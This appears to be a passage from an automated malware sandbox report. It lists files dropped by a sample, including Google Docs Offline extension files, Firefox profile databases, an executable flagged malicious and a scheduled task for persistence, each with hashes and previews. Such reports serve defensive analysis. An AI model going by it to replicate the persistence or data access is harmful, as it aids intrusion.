SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsKJECFHCBKK.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3331584
Entropy (8bit):	6.642458525443112
Encrypted:	false
SSDEEP:	49152:LqaSD6qBhDiJX4NMAp7s1nD3FbZKJJtLhyJmNdK2DFNMx:Lqa+6qBYJoNMApY1TXKJJtLkU8gNM
MD5:	1E47E2F65D0C0C34238B0FF295D88686
SHA1:	7D5C5068EAFFCA9D6A6017715569D1E2CC9A9F16
SHA-256:	24F533A720D7C7991215C27D3C1B1C1952FBD857C65D1D5D42987C45F1AF55B2
SHA-512:	3915257325B514C25032913CD9A7DCF06F69708F184335E1AE8AC22AEC8A84B97D2705E237625263AB50B0AF9A92267F4B80FCC6B53369097358B3BC9041EEB9
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................2...........@...........................3.......2...@.................................W...k.............................2...............................2..................................................... . ............................@....rsrc...............................@....idata ............................@...toqszsru. ,.......,.................@...bemtxewq......2.......2.............@....taggant.0....2.."....2.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsKJECFHCBKK.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.463593358040253
Encrypted:	false
SSDEEP:	6:rCEntXUhXUEZ+lX1CGdKUe6tE9+AQy0lBpllcut0:Wg4Q1CGAFD9+nVBLTt0
MD5:	1E48E9C546F05CD3C78BB02E491D1493
SHA1:	B81CA64DCF98F7AFFEE69A8A970F4A68707387E1
SHA-256:	0548B7E7C447B439FF49F2353108BD375CA811D135CADD791BF1965628A968A3
SHA-512:	E57CB49FB51655A9E69D6319C669FDBE8B28879D59A91E9DB93C3F2BEC187AA333F5FFF25775DC4DC88243CA806CF44A40F0C5F822F5E364395AC2009FBC00B3
Malicious:	false
Preview:	.....'... .M........F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................&.@3P.........................

Chrome Cache Entry: 458

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5138)
Category:	downloaded
Size (bytes):	5143
Entropy (8bit):	5.801989990089054
Encrypted:	false
SSDEEP:	96:LIAjHuliXOH66666+VxvHYFkS72yXg6ZW2zfqAF99zhqH66664XpyFA2ATOoiQfT:LIAjkEOH66666+VxvHmkiXg6ZBzzcH6x
MD5:	646E0B674A0E9E58F8773D0987BE93C3
SHA1:	5D7586F545A56FE2CE94C59CCDE062720508D435
SHA-256:	B67CA867F5C0EDE300F8E43566EACABD3D9718C67F4D848331058674CB33ACC4
SHA-512:	8718B6F791A72490DDEF37C50245BD895DA71F43D86138DE2B2F8B899B6FEAAF97C392AD84C9B72CFA46A0B9DF3C799A173DE30EFD1351859D28641E7C0ECAB1
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["california gas prices","davante adams","final jeopardy today","northern taurids meteor shower","family dollar ohio store closure today","dragon age veilguard","western wa november rain snow","week 11 fantasy football waiver wire"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"google:entityinfo":"CgovbS8weW53Mm56EhZGb290YmFsbCB3aWRlIHJlY2VpdmVyMssQZGF0YTppbWFnZS9qcGVnO2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvMndDRUFBa0dCd2dIQmdrSUJ3Z0tDZ2tMRFJZUERRd01EUnNVRlJBV0lCMGlJaUFkSHg4a0tEUXNKQ1l4Sng4ZkxUMHRNVFUzT2pvNkl5cy9SRDg0UXpRNU9qY0JDZ29LRFF3TkdnOFBHamNsSHlVM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOLy9BQUJFSUFFQUFRQU1CSWdBQ0VRRURFUUgveEFBYkFBQUNBd0VCQVFBQUFBQUFBQUFBQUFBRkJ3TUVCZ2dDQWYvRUFETVFBQUlCQXdNQkJnUUdBUVVBQUFBQUFBRUNBd1FGRVFBU0lVRUdCeE14VVdFVWNZR2hGU0lqTXBIUjhFSlRZN1BCLzhRQUdRRUFBZ01CQUFBQUF

Chrome Cache Entry: 459

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 460

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175125
Entropy (8bit):	5.554368182631651
Encrypted:	false
SSDEEP:	3072:fc3bXo9SLtl9UNXr+FqVBiFWGHj4LsBUnL7BB19HD4VHDgJElS5bOFYG4bhlth0j:fc33Ltl9UhtVBi8ij4LsBU7BB19HD+Db
MD5:	DE27580D28C778BDEB06F70676896EB2
SHA1:	B4110DAAA338236B713E45FC5C7D24D37DFF8832
